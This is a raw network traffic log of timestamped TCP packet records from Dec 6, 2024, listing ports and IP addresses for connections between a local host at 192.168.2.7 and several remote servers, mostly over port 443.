Dec 6, 2024 22:08:24.611779928 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.611807108 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.611850023 CET	49705	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.617446899 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.617491961 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.617557049 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.617722034 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.617738008 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.665227890 CET	443	49706	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.665294886 CET	443	49706	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.665348053 CET	49706	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.665508032 CET	49706	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.665535927 CET	443	49706	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.665549994 CET	49706	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.665559053 CET	443	49706	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.668193102 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.668232918 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.668309927 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.668427944 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.668441057 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.670615911 CET	443	49707	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.670679092 CET	443	49707	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.670726061 CET	49707	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.670790911 CET	49707	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.670804977 CET	443	49707	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.670814991 CET	49707	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.670819044 CET	443	49707	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.672842026 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.672866106 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.672933102 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.673048019 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.673062086 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.676495075 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.676501989 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.676516056 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.676517963 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.676572084 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.676589966 CET	49703	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.676593065 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.676604986 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.676649094 CET	49703	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.676681995 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.676816940 CET	49703	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.676832914 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.676875114 CET	49703	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.676879883 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.676898956 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.676898956 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.676908016 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.677064896 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.677093029 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.677138090 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.679788113 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.679820061 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.679891109 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.680360079 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.680388927 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.682082891 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.682099104 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.682164907 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.682308912 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.682318926 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:25.650401115 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.650419950 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:25.650484085 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.650587082 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.650636911 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:25.650684118 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.650768042 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.650777102 CET	443	49718	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:25.650840044 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.650898933 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.650906086 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:25.650955915 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.651328087 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.651336908 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:25.651494980 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.651504993 CET	443	49718	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:25.651667118 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.651675940 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:25.651830912 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:25.651842117 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:26.342761993 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.343372107 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.343386889 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.343866110 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.343869925 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.386993885 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:26.387042999 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:26.387159109 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:26.389413118 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:26.389431000 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:26.399601936 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.400192022 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.400226116 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.400702000 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.400708914 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.402630091 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.403033972 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.403043032 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.403440952 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.403445959 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.411307096 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.411789894 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.411818027 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.412307978 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.412312984 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.422393084 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.422987938 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.423007011 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.423516989 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.423522949 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.573463917 CET	49700	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:26.573915005 CET	49723	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:26.573965073 CET	443	49723	104.98.116.138	192.168.2.7
Dec 6, 2024 22:08:26.574094057 CET	49723	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:26.575001955 CET	49723	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:26.575015068 CET	443	49723	104.98.116.138	192.168.2.7
Dec 6, 2024 22:08:26.693272114 CET	443	49700	104.98.116.138	192.168.2.7
Dec 6, 2024 22:08:26.785864115 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.785927057 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.785983086 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.786237955 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.786256075 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.786283016 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.786288977 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.789499998 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.789552927 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.789783001 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.789937973 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.789952993 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.835531950 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.835603952 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.835881948 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.836225033 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.836251974 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.836266041 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.836272001 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.838412046 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.838485003 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.838548899 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.839484930 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.839492083 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.839509964 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.839514971 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.841464043 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.841512918 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.841612101 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.843455076 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.843475103 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.843611002 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.843624115 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.843647957 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.843933105 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.843944073 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.846842051 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.846920013 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.846990108 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.847114086 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.847121000 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.847130060 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.847134113 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.849255085 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.849267960 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.849389076 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.849514008 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.849523067 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.861746073 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.861799955 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.862055063 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.862081051 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.862081051 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.862099886 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.862111092 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.864361048 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.864378929 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:26.864437103 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.864545107 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:26.864556074 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:27.368750095 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.369031906 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.369064093 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.369663954 CET	443	49718	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.369939089 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.369956970 CET	443	49718	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.370187044 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.370248079 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.371009111 CET	443	49718	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.371079922 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.371623993 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.371936083 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.372001886 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.372154951 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.372164011 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.372323990 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.372396946 CET	443	49718	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.372415066 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.372457981 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.372467995 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.372611046 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.372620106 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.372709990 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.372714996 CET	443	49718	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.373275995 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.373336077 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.373682976 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.373739958 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.374387980 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.374455929 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.374542952 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.374548912 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.374850988 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.374912977 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.374989033 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.413211107 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.413213015 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.419339895 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.428809881 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.428811073 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.428822041 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.475569963 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.488852978 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.488939047 CET	443	49718	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:27.489001989 CET	49718	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:27.699350119 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:27.699420929 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:28.038835049 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:28.038912058 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:28.044390917 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:28.044401884 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:28.044703007 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:28.085690022 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:28.206691980 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.207078934 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.207139969 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.209698915 CET	49717	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.209727049 CET	443	49717	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.220910072 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.221035957 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.221090078 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.221805096 CET	49719	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.221822977 CET	443	49719	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.227566957 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.228241920 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.228275061 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.228286028 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.228307009 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.228357077 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.229250908 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.236011028 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.236056089 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.236069918 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.250133991 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.250220060 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.250236034 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.264369965 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.264586926 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.264652014 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.264672995 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.264715910 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.415445089 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.422059059 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.422180891 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.422200918 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.435988903 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.436053038 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.436069012 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.450294971 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.450352907 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.450365067 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.462955952 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.463011026 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.463028908 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.476648092 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.476721048 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.476732969 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.489103079 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.489160061 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.489171982 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.501276970 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.501343012 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.501359940 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.510332108 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.511029005 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.511063099 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.511548042 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.511555910 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.513864040 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.513922930 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.513940096 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.535336018 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.535378933 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.535406113 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.535425901 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.535465002 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.538192034 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.550430059 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.550520897 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.550551891 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.561961889 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.562180996 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.562665939 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.562680960 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.562712908 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.562742949 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.563224077 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.563230991 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.563416958 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.563421965 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.567109108 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.567477942 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.567493916 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.567967892 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.567974091 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.581696033 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.582077026 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.582084894 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.582474947 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.582480907 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.601475000 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.601485014 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.608257055 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.608325005 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.608334064 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.613115072 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.613250971 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.613256931 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.625387907 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.625566959 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.625572920 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.633770943 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.633905888 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.633912086 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.638128042 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.638181925 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.638186932 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.647249937 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.647532940 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.647540092 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.668319941 CET	443	49716	142.250.181.68	192.168.2.7
